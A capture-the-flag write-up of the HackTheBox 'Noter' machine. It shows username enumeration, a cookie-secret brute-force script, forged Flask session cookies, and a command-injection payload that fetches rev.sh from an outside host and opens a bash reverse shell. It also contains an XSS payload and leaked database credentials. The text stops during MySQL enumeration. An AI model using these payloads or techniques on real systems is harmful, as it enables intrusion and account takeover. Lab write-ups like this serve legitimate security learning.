HackTheBox - Noter
HackTheBox "Noter" wirteup is now available!
Resolution summary
- The web application used different error messages when trying to login with existing users, allowing to enumerate usernames and discover blue.
- The session cookie provided to authenticated users was signed using a weak secret. It was possible to bruteforce it and sign arbitrary cookie, impersonating any existing user (blue)
- Enumerating blue’s notes it was possible to discover its credentials and access FTP. Inside its notes it was also possible to discover the ftp_admin user
- Inside FTP a documents containing password policy was discovered and it was possible to guess ftp_admin credentials. Accessing FTP as ftp_admin it was possible to discover two backups of the web application.
- Code review allowed to identify some command injection vulnerabilities contained within the
/export_note_remoteand/export_note_local/<string:id>, allowing to execute arbitrary commands and obtain a shell as svc - Using hardcoded credentials from the backup files it was possible to access MySQL with high privileges and exploit User-Defined Function (UDF) Dynamic Library to elevate privileges to root
Improved skills
- Bruteforce weak signed cookie in order to sign custom ones
- Review application code to find command injection vulnerabilities
- Exploit UDF Dynamic Library to elevate privileges
Used tools
- nmap
- gobuster
- ffuf
- custom python code
- ftp
- diff
- public exploit
Information Gathering
Scanned all TCP ports:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
┌──(kali㉿kali)-[~/CTFs/HTB/B2R/Noter]
└─$ sudo nmap -sS -p- 10.129.58.132 -v -oN scan/all-tcp-ports.txt
[sudo] password for kali:
...
Nmap scan report for 10.129.58.132
Host is up (0.042s latency).
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
5000/tcp open upnp
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 27.26 seconds
Raw packets sent: 65675 (2.890MB) | Rcvd: 65539 (2.622MB)
Enumerated open TCP ports:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
┌──(kali㉿kali)-[~/CTFs/HTB/B2R/Noter]
└─$ sudo nmap -sT -sV -sC -p21,22,5000 -oN scan/open-tcp-ports.txt 10.129.58.132
Starting Nmap 7.92 ( https://nmap.org ) at 2022-05-08 08:53 EDT
Nmap scan report for 10.129.58.132
Host is up (0.038s latency).
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 c6:53:c6:2a:e9:28:90:50:4d:0c:8d:64:88:e0:08:4d (RSA)
| 256 5f:12:58:5f:49:7d:f3:6c:bd:9b:25:49:ba:09:cc:43 (ECDSA)
|_ 256 f1:6b:00:16:f7:88:ab:00:ce:96:af:a6:7e:b5:a8:39 (ED25519)
5000/tcp open http Werkzeug httpd 2.0.2 (Python 3.8.10)
|_http-title: Noter
|_http-server-header: Werkzeug/2.0.2 Python/3.8.10
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 10.87 seconds
Enumerated top 200 UDP ports:
1
2
3
4
5
6
7
8
9
┌──(kali㉿kali)-[~/CTFs/HTB/B2R/Noter]
└─$ sudo nmap -sU --top-ports 200 10.129.58.132
Starting Nmap 7.92 ( https://nmap.org ) at 2022-05-08 08:55 EDT
Nmap scan report for 10.129.58.132
Host is up (0.038s latency).
All 200 scanned ports on 10.129.58.132 are in ignored states.
Not shown: 159 closed udp ports (port-unreach), 41 open|filtered udp ports (no-response)
Nmap done: 1 IP address (1 host up) scanned in 164.86 seconds
Enumeration
Port 21 - FTP (vsftpd 3.0.3)
No anonymous access
Port 5000 - HTTP (Werkzeug httpd 2.0.2 (Python 3.8.10))
Browsed port 5000:
Registered a new user:
Enumerated VIP function:
Enumerated software version:
CKEditor 4.6.2
Stored XSS vulnerability (CVE-2021-33829):
CVE-2021-33829: Stored XSS Vulnerability Discovered in CKEditor4 Affects Widely-Used CMS
Xss<!--{cke_protected} --!><img src=1 onerror=alert(XSS)>-->Attack
User Enumeration
Existing user:
Non existing user:
Enumerated existing users:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
┌──(maoutis㉿kali)-[/usr/share/wordlists/seclists]
└─$ ffuf -w /usr/share/seclists/Usernames/cirt-default-usernames.txt -X POST -d "username=FUZZ&password=xxx" -u http://noter.htb:5000/login -H 'Content-Type: application/x-www-form-urlencoded' -mr "Invalid login" 2 ⨯
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v1.3.1 Kali Exclusive <3
________________________________________________
:: Method : POST
:: URL : http://noter.htb:5000/login
:: Wordlist : FUZZ: /usr/share/seclists/Usernames/cirt-default-usernames.txt
:: Header : Content-Type: application/x-www-form-urlencoded
:: Data : username=FUZZ&password=xxx
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Regexp: Invalid login
________________________________________________
maoutis [Status: 200, Size: 2028, Words: 432, Lines: 69]
blue [Status: 200, Size: 2025, Words: 432, Lines: 69]
:: Progress: [829/829] :: Job [1/1] :: 365 req/sec :: Duration: [0:00:03] :: Errors: 0 ::
Exploitation
Brute-forcing secret key used to generate cookies:
- flask-cookie-decode
- GitHub - noraj/flask-session-cookie-manager at d1b17a66850eeeb710c63da762631d38ee3c8dda
bruteforce.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
#!/usr/bin/env python3
## standard imports
import sys
import zlib
from itsdangerous import base64_decode
import ast
import string
from abc import ABC, abstractmethod
## Lib for argument parsing
import argparse
import itertools
## external Imports
from flask.sessions import SecureCookieSessionInterface
class MockApp(object):
def __init__(self, secret_key):
self.secret_key = secret_key
class FSCM(ABC):
def decode(session_cookie_value, secret_key):
""" Decode a Flask cookie """
try:
app = MockApp(secret_key)
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)
print(s.loads(session_cookie_value))
exit()
except Exception as e:
return "[Decoding error] {}".format(e)
raise e
if __name__ == "__main__":
if len(sys.argv) < 3:
print("Usage: bruteforce.py <cookie> <wordlist>")
exit()
cookie = sys.argv[1]
wordlist = sys.argv[2]
secret_key = ''
print(f"Bruteforcing cookie {cookie}")
file = open(wordlist,"r")
for w in file:
w = w.rstrip()
print(f"Testig secret_key {w}")
print(FSCM.decode(cookie, w))
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
┌──(maoutis㉿kali)-[~/CTF/HTB/Noter/exploit]
└─$ python3 bruteforce.py "eyJsb2dnZWRfaW4iOnRydWUsInVzZXJuYW1lIjoibWFvdXRpcyJ9.YnzZWg.ywsr97WH9bxrZEwndwUEVuHDiWU" /usr/share/wordlists/rockyou.txt
Bruteforcing cookie eyJsb2dnZWRfaW4iOnRydWUsInVzZXJuYW1lIjoibWFvdXRpcyJ9.YnzZWg.ywsr97WH9bxrZEwndwUEVuHDiWU
Testig secret_key 123456
[Decoding error] Signature b'ywsr97WH9bxrZEwndwUEVuHDiWU' does not match
Testig secret_key 12345
[Decoding error] Signature b'ywsr97WH9bxrZEwndwUEVuHDiWU' does not match
Testig secret_key 123456789
[Decoding error] Signature b'ywsr97WH9bxrZEwndwUEVuHDiWU' does not match
Testig secret_key password
[Decoding error] Signature b'ywsr97WH9bxrZEwndwUEVuHDiWU' does not match
...
[Decoding error] Signature b'ywsr97WH9bxrZEwndwUEVuHDiWU' does not match
Testig secret_key secret123
{'logged_in': True, 'username': 'maoutis'}
Crafting an arbitrary cookie to impersonate blue:
1
2
3
┌──(maoutis㉿kali)-[~/…/HTB/Noter/exploit/flask-session-cookie-manager]
└─$ python3 flask_session_cookie_manager3.py encode -s 'secret123' -t "{'logged_in': True, 'username': 'blue'}"
eyJsb2dnZWRfaW4iOnRydWUsInVzZXJuYW1lIjoiYmx1ZSJ9.Ynz37Q.bhsuepbK0pIPjT4j091foqoNesw
New features for VIP users:
Blue notes:
Enumerate secret notes
Accessed FTP using leaked credentials
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
┌──(maoutis㉿kali)-[~/…/HTB/Noter/exploit/flask-session-cookie-manager]
└─$ ftp noter.htb
Connected to noter.htb.
220 (vsFTPd 3.0.3)
Name (noter.htb:maoutis): blue
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> dir
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxr-xr-x 2 1002 1002 4096 May 02 23:05 files
-rw-r--r-- 1 1002 1002 12569 Dec 24 20:59 policy.pdf
226 Directory send OK.
ftp> get policy.pdf
policy.pdf
-
Tried to access SSH using noter credentials (not working)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39
┌──(maoutis㉿kali)-[~/CTF/HTB/Noter/loot] └─$ ssh blue@noter.htb blue@noter.htb's password: Welcome to Ubuntu 20.04.3 LTS (GNU/Linux 5.4.0-91-generic x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/advantage System information disabled due to load higher than 2.0 * Super-optimized for small spaces - read how we shrank the memory footprint of MicroK8s to make it the smallest full K8s around. https://ubuntu.com/blog/microk8s-memory-optimisation 157 updates can be applied immediately. 112 of these updates are standard security updates. To see these additional updates run: apt list --upgradable The list of available updates is more than a week old. To check for new updates run: sudo apt update The programs included with the Ubuntu system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. The programs included with the Ubuntu system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. This account is currently not available. Connection to noter.htb closed.
-
Tried to access FTP guessing ftp_admin credentials
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
┌──(maoutis㉿kali)-[~/CTF/HTB/Noter/loot] └─$ ftp noter.htb Connected to noter.htb. 220 (vsFTPd 3.0.3) Name (noter.htb:maoutis): ftp_admin 331 Please specify the password. Password: 230 Login successful. Remote system type is UNIX. Using binary mode to transfer files. ftp> ls 200 PORT command successful. Consider using PASV. 150 Here comes the directory listing. -rw-r--r-- 1 1003 1003 25559 Nov 01 2021 app_backup_1635803546.zip -rw-r--r-- 1 1003 1003 26298 Dec 01 05:52 app_backup_1638395546.zip 226 Directory send OK. ftp> get app_backup_1635803546.zip local: app_backup_1635803546.zip remote: app_backup_1635803546.zip 200 PORT command successful. Consider using PASV. 150 Opening BINARY mode data connection for app_backup_1635803546.zip (25559 bytes). 226 Transfer complete. 25559 bytes received in 0.04 secs (667.0219 kB/s) ftp> get app_backup_1638395546.zip local: app_backup_1638395546.zip remote: app_backup_1638395546.zip 200 PORT command successful. Consider using PASV. 150 Opening BINARY mode data connection for app_backup_1638395546.zip (26298 bytes). 226 Transfer complete. 26298 bytes received in 0.04 secs (697.8327 kB/s)
-
Enumerated differences between the two zip files:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139
┌──(maoutis㉿kali)-[~/CTF/HTB/Noter/loot] └─$ diff app_backup_1635803546 app_backup_1638395546 -q -r Only in app_backup_1635803546: app_backup_1635803546.zip Only in app_backup_1638395546: app_backup_1638395546.zip Files app_backup_1635803546/app.py and app_backup_1638395546/app.py differ ┌──(maoutis㉿kali)-[~/CTF/HTB/Noter/loot] └─$ diff app_backup_1635803546/app.py app_backup_1638395546/app.py -y --suppress-common-lines -t 1 ⨯ app.config['MYSQL_USER'] = 'root' | app.config['MYSQL_USER'] = 'DB_user' app.config['MYSQL_PASSWORD'] = 'Nildogg36' | app.config['MYSQL_PASSWORD'] = 'DB_password' > attachment_dir = 'misc/attachments/' > > > ## Export notes > @app.route('/export_note', methods=['GET', 'POST']) > @is_logged_in > def export_note(): > if check_VIP(session['username']): > try: > cur = mysql.connection.cursor() > > ## Get note > result = cur.execute("SELECT * FROM notes WHERE aut > > notes = cur.fetchall() > > if result > 0: > return render_template('export_note.html', note > else: > msg = 'No notes Found' > return render_template('export_note.html', msg= > ## Close connection > cur.close() > > except Exception as e: > return render_template('export_note.html', error="A > > else: > abort(403) > > ## Export local > @app.route('/export_note_local/<string:id>', methods=['GET']) > @is_logged_in > def export_note_local(id): > if check_VIP(session['username']): > > cur = mysql.connection.cursor() > > result = cur.execute("SELECT * FROM notes WHERE id = %s > > if result > 0: > note = cur.fetchone() > > rand_int = random.randint(1,10000) > command = f"node misc/md-to-pdf.js $'{note['body'] > subprocess.run(command, shell=True, executable="/bi > > return send_file(attachment_dir + str(rand_int) +'. > > else: > return render_template('dashboard.html') > else: > abort(403) > > ## Export remote > @app.route('/export_note_remote', methods=['POST']) > @is_logged_in > def export_note_remote(): > if check_VIP(session['username']): > try: > url = request.form['url'] > > status, error = parse_url(url) > > if (status is True) and (error is None): > try: > r = pyrequest.get(url,allow_redirects=True) > rand_int = random.randint(1,10000) > command = f"node misc/md-to-pdf.js $'{r.te > subprocess.run(command, shell=True, executa > > if os.path.isfile(attachment_dir + f'{str(r > > return send_file(attachment_dir + f'{st > > else: > return render_template('export_note.htm > > except Exception as e: > return render_template('export_note.html', > > > else: > return render_template('export_note.html', erro > > except Exception as e: > return render_template('export_note.html', error=f" > > else: > abort(403) > > ## Import notes > @app.route('/import_note', methods=['GET', 'POST']) > @is_logged_in > def import_note(): > > if check_VIP(session['username']): > if request.method == 'GET': > return render_template('import_note.html') > > elif request.method == "POST": > title = request.form['title'] > url = request.form['url'] > > status, error = parse_url(url) > > if (status is True) and (error is None): > try: > r = pyrequest.get(url,allow_redirects=True) > md = "\n\n".join(r.text.split("\n")[:]) > > body = markdown.markdown(md) > cur = mysql.connection.cursor() > cur.execute("INSERT INTO notes(title, body, > mysql.connection.commit() > cur.close() > > return render_template('import_note.html', > > > except Exception as e: > return render_template('import_note.html', > > else: > return render_template('import_note.html', erro > > else: > abort(403) >
-
Enumerated app.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 394 395 396 397 398 399 400 401 402 403 404 405 406 407 408 409 410 411 412 413 414 415 416 417 418 419 420 421 422 423 424 425 426 427 428 429 430 431 432 433 434 435 436 437 438 439 440 441 442 443 444 445 446 447 448 449 450 451 452 453 454 455 456
#!/usr/bin/python3 from flask import Flask, render_template, flash, redirect, url_for, abort, session, request, logging, send_file from flask_mysqldb import MySQL from wtforms import Form, StringField, TextAreaField, PasswordField, validators from passlib.hash import sha256_crypt from functools import wraps import time import requests as pyrequest from html2text import html2text import markdown import random, os, subprocess app = Flask(__name__) ## Config MySQL app.config['MYSQL_HOST'] = 'localhost' app.config['MYSQL_USER'] = 'DB_user' app.config['MYSQL_PASSWORD'] = 'DB_password' app.config['MYSQL_DB'] = 'app' app.config['MYSQL_CURSORCLASS'] = 'DictCursor' attachment_dir = 'misc/attachments/' ## init MYSQL mysql = MySQL(app) ## Index @app.route('/') def index(): return render_template('home.html') ## About @app.route('/about') def about(): return render_template('about.html') ## Check if user logged in def is_logged_in(f): @wraps(f) def wrap(*args, **kwargs): if 'logged_in' in session: return f(*args, **kwargs) else: flash('Unauthorized, Please login', 'danger') return redirect(url_for('login')) return wrap ## notes @app.route('/notes') @is_logged_in def notes(): ## Create cursor cur = mysql.connection.cursor() ## Get notes if check_VIP(session['username']): result = cur.execute("SELECT * FROM notes where author= (%s or 'Noter Team')",[session['username']]) else: result = cur.execute("SELECT * FROM notes where author= %s",[session['username']]) notes = cur.fetchall() if result > 0: return render_template('notes.html', notes=notes) else: msg = 'No notes Found' return render_template('notes.html', msg=msg) ## Close connection cur.close() #Single note @app.route('/note/<string:id>/') @is_logged_in def note(id): ## Create cursor cur = mysql.connection.cursor() ## Get notes if check_VIP(session['username']): result = cur.execute("SELECT * FROM notes where author= (%s or 'Noter Team') and id = %s",(session['username'], id)) else: result = cur.execute("SELECT * FROM notes where author= %s",[session['username']]) note = cur.fetchone() note['body'] = html2text(note['body']) return render_template('note.html', note=note) ## Register Form Class class RegisterForm(Form): name = StringField('Name', [validators.Length(min=1, max=50)]) username = StringField('Username', [validators.Length(min=3, max=25)]) email = StringField('Email', [validators.Length(min=6, max=50)]) password = PasswordField('Password', [ validators.DataRequired(), validators.EqualTo('confirm', message='Passwords do not match') ]) confirm = PasswordField('Confirm Password') ## User Register @app.route('/register', methods=['GET', 'POST']) def register(): form = RegisterForm(request.form) if request.method == 'POST' and form.validate(): name = form.name.data email = form.email.data username = form.username.data password = sha256_crypt.encrypt(str(form.password.data)) ## Create cursor cur = mysql.connection.cursor() ## Execute query cur.execute("INSERT INTO users(name, email, username, password) VALUES(%s, %s, %s, %s)", (name, email, username, password)) ## Commit to DB mysql.connection.commit() ## Close connection cur.close() flash('You are now registered and can log in', 'success') return redirect(url_for('login')) return render_template('register.html', form=form) ## User login @app.route('/login', methods=['GET', 'POST']) def login(): if request.method == 'POST': ## Get Form Fields username = request.form['username'] password_candidate = request.form['password'] ## Create cursor cur = mysql.connection.cursor() ## Get user by username result = cur.execute("SELECT * FROM users WHERE username = %s", ([username])) if result > 0: ## Get stored hash data = cur.fetchone() password = data['password'] ## Compare Passwords if sha256_crypt.verify(password_candidate, password): ## Passed session['logged_in'] = True session['username'] = username flash('You are now logged in', 'success') return redirect(url_for('dashboard')) else: error = 'Invalid login' return render_template('login.html', error=error) ## Close connection cur.close() else: error = 'Invalid credentials' return render_template('login.html', error=error) return render_template('login.html') ## Logout @app.route('/logout') @is_logged_in def logout(): session.clear() flash('You are now logged out', 'success') return redirect(url_for('login')) #Check VIP def check_VIP(username): try: cur = mysql.connection.cursor() results = cur.execute(""" select username, case when role = "VIP" then True else False end as VIP from users where username = %s """, [username]) results = cur.fetchone() cur.close() if len(results) > 0: if results['VIP'] == 1: return True return False except Exception as e: return render_template('login.html') ## Dashboard @app.route('/dashboard') @is_logged_in def dashboard(): ## Create cursor cur = mysql.connection.cursor() ## Get notes #result = cur.execute("SELECT * FROM notes") ## Show notes only from the user logged in result = cur.execute("SELECT * FROM notes WHERE author = %s",[session['username']]) notes = cur.fetchall() VIP = check_VIP(session['username']) if result > 0: if VIP: return render_template('vip_dashboard.html', notes=notes) return render_template('dashboard.html', notes=notes) else: msg = 'No notes Found' if VIP: return render_template('vip_dashboard.html', msg=msg) return render_template('dashboard.html', msg=msg) ## Close connection cur.close() ## parse the URL def parse_url(url): url = url.lower() if not url.startswith ("http://" or "https://"): return False, "Invalid URL" if not url.endswith('.md'): return False, "Invalid file type" return True, None ## Export notes @app.route('/export_note', methods=['GET', 'POST']) @is_logged_in def export_note(): if check_VIP(session['username']): try: cur = mysql.connection.cursor() ## Get note result = cur.execute("SELECT * FROM notes WHERE author = %s", ([session['username']])) notes = cur.fetchall() if result > 0: return render_template('export_note.html', notes=notes) else: msg = 'No notes Found' return render_template('export_note.html', msg=msg) ## Close connection cur.close() except Exception as e: return render_template('export_note.html', error="An error occured!") else: abort(403) ## Export local @app.route('/export_note_local/<string:id>', methods=['GET']) @is_logged_in def export_note_local(id): if check_VIP(session['username']): cur = mysql.connection.cursor() result = cur.execute("SELECT * FROM notes WHERE id = %s and author = %s", (id,session['username'])) if result > 0: note = cur.fetchone() rand_int = random.randint(1,10000) command = f"node misc/md-to-pdf.js $'{note['body']}' {rand_int}" subprocess.run(command, shell=True, executable="/bin/bash") return send_file(attachment_dir + str(rand_int) +'.pdf', as_attachment=True) else: return render_template('dashboard.html') else: abort(403) ## Export remote @app.route('/export_note_remote', methods=['POST']) @is_logged_in def export_note_remote(): if check_VIP(session['username']): try: url = request.form['url'] status, error = parse_url(url) if (status is True) and (error is None): try: r = pyrequest.get(url,allow_redirects=True) rand_int = random.randint(1,10000) command = f"node misc/md-to-pdf.js $'{r.text.strip()}' {rand_int}" subprocess.run(command, shell=True, executable="/bin/bash") if os.path.isfile(attachment_dir + f'{str(rand_int)}.pdf'): return send_file(attachment_dir + f'{str(rand_int)}.pdf', as_attachment=True) else: return render_template('export_note.html', error="Error occured while exporting the !") except Exception as e: return render_template('export_note.html', error="Error occured!") else: return render_template('export_note.html', error=f"Error occured while exporting ! ({error})") except Exception as e: return render_template('export_note.html', error=f"Error occured while exporting ! ({e})") else: abort(403) ## Import notes @app.route('/import_note', methods=['GET', 'POST']) @is_logged_in def import_note(): if check_VIP(session['username']): if request.method == 'GET': return render_template('import_note.html') elif request.method == "POST": title = request.form['title'] url = request.form['url'] status, error = parse_url(url) if (status is True) and (error is None): try: r = pyrequest.get(url,allow_redirects=True) md = "\n\n".join(r.text.split("\n")[:]) body = markdown.markdown(md) cur = mysql.connection.cursor() cur.execute("INSERT INTO notes(title, body, author, create_date ) VALUES (%s, %s, %s ,%s) ", (title, body[:900], session['username'], time.ctime())) mysql.connection.commit() cur.close() return render_template('import_note.html', msg="Note imported successfully!") except Exception as e: return render_template('import_note.html', error="An error occured when importing!") else: return render_template('import_note.html', error=f"An error occured when importing! ({error})") else: abort(403) ## upgrade to VIP @app.route('/VIP',methods=['GET']) @is_logged_in def upgrade(): return render_template('upgrade.html') ## note Form Class class NoteForm(Form): title = StringField('Title', [validators.Length(min=1, max=200)]) body = TextAreaField('Body', [validators.Length(min=30)]) ## Add note @app.route('/add_note', methods=['GET', 'POST']) @is_logged_in def add_note(): form = NoteForm(request.form) if request.method == 'POST' and form.validate(): title = form.title.data body = form.body.data ## Create Cursor cur = mysql.connection.cursor() ## Execute cur.execute("INSERT INTO notes(title, body, author,create_date ) VALUES(%s, %s, %s, %s)",(title, body, session['username'], time.ctime())) ## Commit to DB mysql.connection.commit() #Close connection cur.close() flash('note Created', 'success') return redirect(url_for('dashboard')) return render_template('add_note.html', form=form) ## Edit note @app.route('/edit_note/<int:id>', methods=['GET', 'POST']) @is_logged_in def edit_note(id): ## Create cursor cur = mysql.connection.cursor() ## Get note by id result = cur.execute("SELECT * FROM notes WHERE id = %s AND author = %s", (id, session['username'])) note = cur.fetchone() cur.close() ## Get form form = NoteForm(request.form) ## Populate note form fields form.title.data = note['title'] form.body.data = note['body'] if request.method == 'POST' and form.validate(): title = request.form['title'] body = request.form['body'] ## Create Cursor cur = mysql.connection.cursor() app.logger.info(title) ## Execute cur.execute ("UPDATE notes SET title=%s, body=%s WHERE id=%s AND author = %s",(title, body, id, session['username'])) ## Commit to DB mysql.connection.commit() #Close connection cur.close() flash('note Updated', 'success') return redirect(url_for('dashboard')) return render_template('edit_note.html', form=form) ## Delete note @app.route('/delete_note/<int:id>', methods=['POST']) @is_logged_in def delete_note(id): ## Create cursor cur = mysql.connection.cursor() ## Execute cur.execute("DELETE FROM notes WHERE id = %s AND author= %s",(id, session['username'])) ## Commit to DB mysql.connection.commit() #Close connection cur.close() flash('Note deleted', 'success') return redirect(url_for('dashboard')) if __name__ == '__main__': app.secret_key='secret123' app.run(host="0.0.0.0",debug=False)
Arbitrary Code Injection
app.py used user controllable input (from already created notes or through arbitrary external resources) to build a system command. It is possible to inject arbitrary code in order to affect the expected behavior of the software.
Vulnerable code:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
@app.route('/export_note_local/<string:id>', methods=['GET'])
@is_logged_in
def export_note_local(id):
if check_VIP(session['username']):
cur = mysql.connection.cursor()
result = cur.execute("SELECT * FROM notes WHERE id = %s and author = %s", (id,session['username']))
if result > 0:
note = cur.fetchone()
rand_int = random.randint(1,10000)
command = f"node misc/md-to-pdf.js $'{note['body']}' {rand_int}"
subprocess.run(command, shell=True, executable="/bin/bash")
return send_file(attachment_dir + str(rand_int) +'.pdf', as_attachment=True)
...
## Export remote
@app.route('/export_note_remote', methods=['POST'])
@is_logged_in
def export_note_remote():
if check_VIP(session['username']):
try:
url = request.form['url']
status, error = parse_url(url)
if (status is True) and (error is None):
try:
r = pyrequest.get(url,allow_redirects=True)
rand_int = random.randint(1,10000)
command = f"node misc/md-to-pdf.js $'{r.text.strip()}' {rand_int}"
subprocess.run(command, shell=True, executable="/bin/bash")
if os.path.isfile(attachment_dir + f'{str(rand_int)}.pdf'):
return send_file(attachment_dir + f'{str(rand_int)}.pdf', as_attachment=True)
...
exploit.md:
1
';curl http://10.10.14.3/rev.sh|/bin/bash;'
rev.sh:
1
/bin/bash -c 'bash -i >& /dev/tcp/10.10.14.3/10099 0>&1'
Privilege Escalation
Local enumeration
Enumerated local users:
1
2
3
4
svc@noter:~$ cat /etc/passwd | grep 'sh'
root:x:0:0:root:/root:/bin/bash
sshd:x:112:65534::/run/sshd:/usr/sbin/nologin
svc:x:1001:1001:,,,:/home/svc:/bin/bash
Enumerated machine:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
svc@noter:~$ cat /etc/*-release
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=20.04
DISTRIB_CODENAME=focal
DISTRIB_DESCRIPTION="Ubuntu 20.04.3 LTS"
NAME="Ubuntu"
VERSION="20.04.3 LTS (Focal Fossa)"
ID=ubuntu
ID_LIKE=debian
PRETTY_NAME="Ubuntu 20.04.3 LTS"
VERSION_ID="20.04"
HOME_URL="https://www.ubuntu.com/"
SUPPORT_URL="https://help.ubuntu.com/"
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
VERSION_CODENAME=focal
UBUNTU_CODENAME=focal
svc@noter:~$ cat /etc/issue
Ubuntu 20.04.3 LTS \n \l
Enumerated running services:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
svc@noter:~$ netstat -polentau
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State User Inode PID/Program name Timer
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN 101 25450 - off (0.00/0/0)
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN 0 26661 - off (0.00/0/0)
tcp 0 0 0.0.0.0:5000 0.0.0.0:* LISTEN 1001 28777 1265/python3 off (0.00/0/0)
tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN 0 27890 - off (0.00/0/0)
tcp 0 0 10.10.11.160:5000 10.10.14.3:32888 ESTABLISHED 1001 247993 1265/python3 off (0.00/0/0)
tcp 0 0 127.0.0.1:58582 127.0.0.1:3306 ESTABLISHED 0 255615 - off (0.00/0/0)
tcp 0 0 127.0.0.1:3306 127.0.0.1:58582 ESTABLISHED 0 255616 - keepalive (1103.05/0/0)
tcp 0 1 10.10.11.160:37594 8.8.8.8:53 SYN_SENT 101 358593 - on (7.80/3/0)
tcp 0 187 10.10.11.160:57182 10.10.14.3:10099 ESTABLISHED 1001 247702 31500/bash on (0.24/0/0)
tcp6 0 0 :::21 :::* LISTEN 0 26471 - off (0.00/0/0)
tcp6 0 0 :::22 :::* LISTEN 0 26663 - off (0.00/0/0)
udp 0 0 127.0.0.1:36551 127.0.0.53:53 ESTABLISHED 102 358592 - off (0.00/0/0)
udp 0 0 127.0.0.53:53 0.0.0.0:* 101 25449 - off (0.00/0/0)
udp 0 0 0.0.0.0:68 0.0.0.0:* 0 21881 - off (0.00/0/0)
Enumerated mysql:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
